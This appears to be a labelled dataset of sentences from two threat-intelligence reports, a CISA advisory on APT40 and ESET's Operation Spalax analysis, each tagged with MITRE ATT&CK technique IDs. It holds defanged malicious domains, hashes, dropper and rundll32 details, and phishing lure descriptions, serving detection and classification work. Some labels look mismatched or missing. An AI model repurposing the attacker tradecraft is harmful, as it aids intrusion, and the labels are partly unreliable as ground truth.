{"sentence": "[T1078], compromised administrative [T1078.001] accounts Execution", "labels": ["T1078"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[TA0002] Command and scripting interpreters", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1059] such as PowerShell [T1059.001] Exploitation of software vulnerabilities in client applications to execute code", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1203] using lure documents that dropped malware exploiting various Common Vulnerabilities and Exposures (CVEs)", "labels": ["T1204.002"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "User execution", "labels": ["T1204.002"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1204] of malicious files [T1204.002] and links", "labels": ["T1204.002"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1566.002] attached to spearphishing emails [T1566.001] Persistence [TA0003], Privilege Escalation [TA0004], Credential Access", "labels": ["T1566.001"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[TA0006], Discovery [TA0007], and Lateral Movement", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[TA0008] APT40 has used a combination of tool frameworks and malware to establish persistence, escalate privileges, map, and move laterally on victim networks.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Additionally, APT40 conducted internal spearphishing attacks [T1534]. BADFLICK/Greencrash China Chopper [S0020] Cobalt Strike [S0154] Derusbi/PHOTO [S0021] Gh0stRAT", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[S0032] GreenRAT jjdoor/Transporter jumpkick Murkytop (mt.exe)", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[S0233] NanHaiShu [S0228] Orz/AirBreak [S0229] PowerShell Empire", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[S0363] PowerSploit", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[S0194] Server software component: Web Shell [TA1505.003] Defense Evasion", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[TA0005], Command and Control", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[TA0011], Collection [TA0009], and Exfiltration [TA0010] Use of steganography [T1027.003] to hide stolen data inside other files stored on GitHub Protocol impersonation", "labels": ["T1027"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1001.003] by using Application Programming Interface (API) keys for Dropbox accounts in commands to upload stolen data to make it appear that the activity was a legitimate use of the Dropbox service Protocol tunneling [T1572] and multi-hop proxies", "labels": ["T1090"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1090.003], including the use of Tor [S0183] Use of domain typosquatting for C2 infrastructure [T1583.001] Archive [T1560], encrypt [T1532], and stage collected data locally", "labels": ["T1074.001"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1074.001] and remotely [T1074.002] for exfiltration Exfiltration over C2 channel [T1041] MitigationsNetwork Defense-in-Depth Proper network defense-in-depth and adherence to information security best practices can assist in mitigating the threat and reducing the risk.", "labels": ["T1041"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "The following guidance may assist organizations in developing network defense procedures.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Patch and Vulnerability Management Install vendor-provided and verified patches on all systems for critical vulnerabilities, prioritizing timely patching of internet-connected servers and software processing internet data—such as web browsers, browser plugins, and document readers.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Ensure proper migrating steps or compensating controls are implemented for vulnerabilities that cannot be patched in a timely manner.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Maintain up-to-date antivirus signatures and engines.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Routinely audit configuration and patch management programs to ensure the ability to track and mitigate emerging threats.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Implementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors’ operations and protect resources and information systems.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Review the articles in the References section for more information on Chinese APT exploitation of common vulnerabilities.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Protect Credentials Strengthen credential requirements, regularly change passwords, and implement multi-factor authentication to protect individual accounts, particularly for webmail and VPN access and for accounts that access critical systems.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Do not reuse passwords for multiple accounts.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Audit all remote authentications from trusted networks or service providers.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Detect mismatches by correlating credentials used within internal networks with those employed on external-facing systems.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Log use of system administrator commands such as net, ipconfig, and ping.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Enforce principle of least privilege.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Network Hygiene and Monitoring Actively scan and monitor internet-accessible applications for unauthorized access, modification, and anomalous activities.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Actively monitor server disk use and audit for significant changes.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Log Domain Name Service (DNS) queries and consider blocking all outbound DNS requests that do not originate from approved DNS servers.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Monitor DNS queries for C2 over DNS.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Develop and monitor the network and system baselines to allow for the identification of anomalous activity.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Audit logs for suspicious behavior.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Identify and suspend access of users exhibiting unusual activity.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Use allowlist or baseline comparison to monitor Windows event logs and network traffic to detect when a user maps a privileged administrative share on a Windows system.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Leverage multi-sourced threat-reputation services for files, DNS, URLs, IP addresses, and email addresses.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Network device management interfaces—such as Telnet, Secure Shell (SSH), Winbox, and HTTP—should be turned off for wide area network (WAN) interfaces and secured with strong passwords and encryption when enabled.", "labels": ["T1027"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "When possible, segment critical information on air-gapped systems.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Use strict access control measures for critical data.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "APPENDIX:", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "APT40 Indicators of Compromise APT40 used the following domains, file names, and malware MD5 hash values to facilitate the CNE activity outlined in this CSA between 2009 through 2018.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Domains airbusocean[.]com https://pastebin[.]com/vfb5mbbu pacifichydrologic[.]org cargillnotice[.]com huntingtomingalls[.]com philippinenewss[.]com ccidmeekparry[.]info indiadigest[.]in philstarnotice[.]com ccvzvhjhdf[.]website jack-newnb[.]com porndec143.chickenkiller[.]com cdigroups[.]com kAty197.chickenkiller[.]com santaclarasystem[.]us checkecc[.]com louisdreyfu[.]com scsnewstoday[.]com chemscalere[.]com mail2.ignorelist[.]com secbkav[.]com cnnzapmeta[.]com masterroot[.]pw Soure7788.chickenkiller[.]com corycs[.]com microsql-update[.]info tccoll[.]com deltektimes[.]com mihybb[.]com teledynegroup[.]com Engaction[.]com mlcdailynews[.]com teledyneinstrument[.]com ens-smithjonathan.rhcloud[.]com movyaction[.]net testdomain2019.chickenkiller[.]com fishgatesite.wordpress[.]com msusanode[.]com thestar[.]live goo2k88yyh2.chickenkiller[.]com newbb-news[.]com thrivedataview[.]com gttdoskip[.]com nfmybb[.]com thyssemkrupp[.]com http://gkimertds.wordpress[.]com/feed/ nmw4xhipveaca7hm[.]onion.link/en_US/all.js thyssenkrupp-marinesystems[.]org http://stackoverflow[.]com/users/3627469/angle-swift nobug[.]uk.to togetno992.mooo[.]com http://stackoverflow[.]com/users/3804206/swiftr-angle notesof992.wordpress[.]com tojenner97.chickenkiller[.]com http://stackoverflow[.]com/users/3863346/gkimertdssdads onlinenewspapers[.]club trafficeco[.]com vser.mooo[.]com onlineobl[.]com transupdate[.]com https://pastebin[.]com/p1mktQpD oyukg43t[.]website troubledate[.]com ultrasocial[.]info wsmcoff[.]com xbug.uk[.]to usdagroup[.]com www.yorkshire-espana-sa[.]com/english/servicios/ yootypes[.]com https://github[.]com/slotz/sharp-loader/commit/f9de338fb474fd970a7375030642d04179b9245d MD5 Malware Hashes (Updated July 19, 2021) Note: to uncover malicious activity, incident responders search for indicators of compromise (IOCs) in network- and host-based artifacts and assess the results—eliminating false positives during the assessment.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "For example, some MD5 IOCs in the table below identify legitimate tools—such as PuTTY, cmd.exe, svchost.exe, etc.—as indicators of compromise.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
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f172ad4e906d97ed8f071896fc6789dc f2b6bffa2c22420c0b1c848b673055ed f446d8808a14649bddcc412f9e754890 f4dbe32f3505bc17364e2b125f8dd6df f4dd628f6c0bc2472d29c796ee38bf46 f4e67343e13c37449ada7335b9c53dd1 f53e332b0a6dbe8d8d3177e93b70cb1e f5ae03de0ad60f5b17b82f2cd68402fe f5ce889a1fa751b8fd726994cdb8f97e f5fdbfce1a5d2c000c266f4cd180a78d f7202dea71cc638e0c2dbeb92c2ce279 f7cef381c4ee3704fc8216f00f87552a f7ffbbbc68aadcbfbace55c58b6da0a7 f8b91554d221fe8ef4a4040e9516f919 f906571d719828f0f4b6212fc2aa7705 f9155052a43832061357c23de873ff9f f9abacc459e5d50d8582e8c660752c4e f9f608407d551f49d632bd6bd5bd7a56 f9fc9359dc5d1d0ac754b12efb795f79 fa27742b87747e64c8cb0d54aa70ef98 fa3c8d91ef4a8b245033ddb9aa3054a2 fad93907d5587eb9e0d8ebc78a5e19c2 Contact Information To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatch@fbi.gov.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov. References DOJ Press Release Talos Intelligence:", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "China Chopper Still Active", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "9 Years Later CISA China Cyber Threat Overview webpage CISA Alert TA15-314A: Compromised Web Servers and Web Shells - Threat Awareness and Guidance CISA Alert AA20-133A: Top 10 Routinely Exploited Vulnerabilities CISA Alert AA20-275A:", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Potential for China Cyber Response to Heightened U.S.-China Tensions NSA Cybersecurity Advisory U/OO/179811-20: Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities Revisions July 19, 2021:", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Initial version Updated July 19, 2021: Added note and STIX file This product is provided subject to this Notification and this Privacy & Use policy.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Operation Spalax:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Targeted malware attacks in Colombia url: https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/ ESET researchers uncover attacks targeting Colombian government institutions and private companies, especially from the energy and metallurgical industries", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "In 2020 ESET saw several attacks targeting Colombian entities exclusively.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "These attacks are still ongoing at the time of writing and are focused on both government institutions and private companies.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "For the latter, the most targeted sectors are energy and metallurgical.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The attackers rely on the use of remote access trojans, most likely to spy on their victims.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "They have a large network infrastructure for command and control: ESET observed at least 24 different IP addresses in use in the second half of 2020.", "labels": ["T1090"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "These are probably compromised devices that act as proxies for their C&C servers.", "labels": ["T1090"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This, combined with the use of dynamic DNS services, means that their infrastructure never stays still.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "We have seen at least 70 domain names active in this timeframe", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "and they register new ones on a regular basis.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The attackers The attacks we saw in 2020 share some TTPs with previous reports about groups targeting Colombia, but also differ in many ways, thus making attribution difficult.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "One of those reports was published in February 2019, by QiAnXin researchers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The operations described in that blogpost are connected to an APT group active since at least April 2018.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "We have found some similarities between those attacks and the ones that we describe in this article: We saw a malicious sample included in IoCs of QiAnXin’s report and a sample from the new campaign in the same government organization.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "These files have fewer than a dozen sightings each.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Some of the phishing emails from the current campaign were sent from IP addresses corresponding to a range that belongs to Powerhouse Management, a VPN service.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The same IP address range was used for emails sent in the earlier campaign.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The phishing emails have similar topics and pretend to come from some of the same entities – for example, the Office of the Attorney General (Fiscalia General de la Nacion) or the National Directorate of Taxes and Customs (DIAN).", "labels": ["T1566.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Some of the C&C servers in Operation Spalax use linkpc.net and publicvm.com subdomains, along with IP addresses that belong to Powerhouse Management.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This also happened in the earlier campaign.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "However, there are differences in the attachments used for phishing emails, the remote access trojans (RATs) used and in most of the operator’s C&C infrastructure.", "labels": ["T1566.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "There is also this report from Trend Micro, from July 2019.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "There are similarities between the phishing emails and parts of the network infrastructure in that campaign and the one we describe here.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The attacks described in that article were connected to cybercrime, not espionage.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "While we have not seen any payload delivered by the attackers other than RATs, some of the targets in the current campaign (such as a lottery agency) don’t make much sense for spying activities.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "These threat actors show perfect usage of the Spanish language in the emails they send, they only target Colombian entities, and they use premade malware and don’t develop any themselves.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Attack overview Targets are approached with emails that lead to the download of malicious files.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "In most cases, these emails have a PDF document attached, which contains a link that the user must click to download the malware.", "labels": ["T1204.002", "T1566.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The downloaded files are regular RAR archives that have an executable file inside.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "These archives are hosted in legitimate file hosting services such as OneDrive or MediaFire.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The target has to manually extract the file and execute it for the malware to run.", "labels": ["T1204.002"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "We’ve found a variety of packers used for these executables, but their purpose is always to have a remote access trojan running on the victimized computer, usually by decrypting the payload and injecting it into legitimate processes.", "labels": ["T1027", "T1055", "T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "An overview of a typical attack is shown in Figure 1.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "We have seen the attackers use three different RATs: Remcos, njRAT and AsyncRAT. Figure 1.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Overview of the attack Phishing emails The attackers use various topics for their emails, but in most cases they are not specially crafted for their victims.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "On the contrary, most of these emails have generic topics that could be reused for different targets.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "We found phishing emails with these topics: A notification about a driving infraction A notification to take a mandatory COVID-19 test A notification to attend a court hearing An open investigation against the recipient for misuse of public funds A notification of an embargo of bank accounts The email shown in Figure 2 pretends to be a notification about a driving infraction for a value of around US$250.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "There is a PDF file attached that promises a photo of the infraction, as well as information about time and place of the incident.", "labels": ["T1566.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The sender has been spoofed to make the email look like it is coming from SIMIT (a system for paying transit violations in Colombia).", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Example of a phishing email The pdf file only contains an external link that has been shortened with the acortaurl service, as shown in Figure 3.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The shortened URL is: https://acortaurl[.]com/httpsbogotagovcohttpsbogotagovcohttpsbogotagovco.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "After the shortened link is expanded, a RAR archive is downloaded from: http://www.mediafire[.]com/file/wbqg7dt604uwgza/SIMITcomparendoenlineasimitnumeroreferenciaComparendo2475569.uue/file.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "PDF attached to phishing email Figure 4 shows part of the email’s header.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The spoofed sender is notificacionesmultas@simit.org[.]co but we can see that the real sender is IP address 128.90.108[.]177, which is connected with the domain name julian.linkpc[.]net, as found in historic DNS data.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "It’s not a coincidence that the same domain name is used for contacting the C&C server in the malicious sample contained in the RAR archive.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This IP address belongs to Powerhouse Management, a VPN service provider.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Header of a phishing email In more recent emails, the shortened link in the PDF file resolves to https://bogota.gov[.]co (a legitimate site) when visited from outside of Colombia.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Also, in some cases the GetResponse service has been used to send the email.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This is probably done to track whether the victim has clicked on the link.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "In these cases there is no attachment: a link to the GetResponse platform leads to the download of malware.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "You can see the other emails in the following gallery (click to enlarge): Figures 5 to 13.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Various phishing emails and their attached files Malicious artifacts Droppers The executable files contained in compressed archives that are downloaded via the phishing emails are responsible for decrypting and running remote access trojans on a victimized computer.", "labels": ["T1027", "T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "In the following sections, we describe the various droppers we have seen.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "NSIS installers The dropper that is most commonly used by these attackers comes as a file that was compiled with NSIS (Nullsoft Scriptable Install System).", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "To try to evade detection, this installer contains several benign files that are written to disk (they are not part of NSIS binaries and they are not used at all by the installer) and two files that are malicious: an encrypted RAT executable and a DLL file that decrypts and runs the trojan.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "An NSIS script for one of these installers is shown in Figure 14.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The benign files are usually different in different droppers used by the attackers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "NSIS script for one of the droppers; the malicious files are highlighted The files Bonehead (encrypted RAT) and ShoonCataclysm.dll (dropper DLL) are written in the same folder and the DLL is run with rundll32.exe using Uboats as its argument.", "labels": ["T1218.011"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The names of these files change between executables.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Some more examples are: rundll32.exe", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Blackface,Breathing rundll32.exe OximeLied,Hostage rundll32.exe Conservatory,Piggins", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "We used the name of the benign files contained in some of these NSIS installers to find more malicious installers used by the Spalax operators.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Table 1 lists details of three different NSIS installers used by the attackers that contained all the same benign files.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The only difference among them was the encrypted file, which pointed to different C&C servers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "NSIS installers with identical benign files used by this group SHA-1C&C", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "6E81343018136B271D1F95DB536CA6B2FD1DFCD6marzoorganigrama20202020.duckdns[.]org 7EDB738018E0E91C257A6FC94BDBA50DAF899F90ruthy.qdp6fj1uji[.]xyz 812A407516F9712C80B70A14D6CDF282C88938C1dominoduck2098.duckdns[.]org", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "However, we also found malicious NSIS installers used by other unrelated groups that had the same benign files as the ones used by this group.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Figure 15 lists the files contained in two different NSIS installers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The one on the left (SHA-1: 3AC39B5944019244E7E33999A2816304558FB1E8) is an executable used by this group and the one on the right (SHA-1: 6758741212F7AA2B77C42B2A2DE377D97154F860) is unrelated.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The SHA-1 hashes for all the benign files are the same (and also the filenames) and even the malicious DLL is the same.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "However, the encrypted file Bonehead is different.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Files contained in NSIS droppers from unrelated campaigns This means that these installers were generated with the same builder, but by different actors.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The builder is probably offered in underground forums and includes these benign files.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This, along with a complete analysis of the dropper, was described earlier this year by Sophos in their RATicate article.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "There is also an article by Lab52 describing one of the NSIS installers used in Operation Spalax, which they attribute to APT-C-36.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "In the vast majority of cases these NSIS droppers decrypt and run the Remcos RAT, but we have also seen cases where the payload is njRAT.", "labels": ["T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "These will be described later in the Payloads section.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Agent Tesla packers We have seen several droppers that are different variants of a packer that uses steganography and is known to be used in Agent Tesla samples.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Interestingly, the attackers use various payloads, but none of them are Agent Tesla.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Even though there are differences in all the samples regarding the layers of encryption, obfuscation or anti-analysis used, we can summarize the actions taken by the droppers as follows: The dropper reads a string (or binary data) from its resource section and decrypts it.", "labels": ["T1027", "T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
